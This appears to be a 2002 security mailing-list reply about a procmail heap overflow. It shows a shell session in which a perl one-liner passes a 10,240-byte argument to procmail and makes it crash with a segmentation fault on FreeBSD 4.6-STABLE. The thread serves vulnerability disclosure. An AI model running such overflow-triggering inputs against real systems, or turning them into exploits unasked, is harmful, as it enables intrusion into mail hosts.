Re: procmail heap overflow

[Artur Byszko / bikero <bikero () security hack pl>]

W Wed, Jun 19, 2002 at 04:00:12PM -0700, Peter Mueller wrote:
> Looks like 4.6-PRERELEASE is ok.
>
> > uname -a
> FreeBSD xxx.yyy.com 4.6-PRERELEASE FreeBSD 4.6-PRERELEASE #2: Sun May  5
> 22:57:25 PDT 2002     root@localhost:/usr/obj/usr/src/sys/xxx  i386
> > /usr/local/bin/procmail `perl -e '{print "A"x10240}'`=A
> Word too long.

But in 4.6-STABLE:

bikero@phreak:~$ uname -a
FreeBSD phreak.uni.cc 4.6-STABLE FreeBSD 4.6-STABLE #1: Wed Jun 19 10:47:52
CEST 2002     bikero () phreak uni cc:/usr/obj/usr/src/sys/bikero-security  i386
bikero@phreak:~$ /usr/local/bin/procmail `perl -e '{print "A"x10240}'`=A
^Cprocmail: Terminating prematurely
Segmentation fault (core dumped)

regards,
-- 
* \x41\x72\x74\x75\x72\x20\x42\x79\x73\x7a\x6b\x6f *
* \x62\x69\x6b\x65\x72\x6f\x40\x45\x46\x4e\x45\x54 *

Attachment: _bin
Description: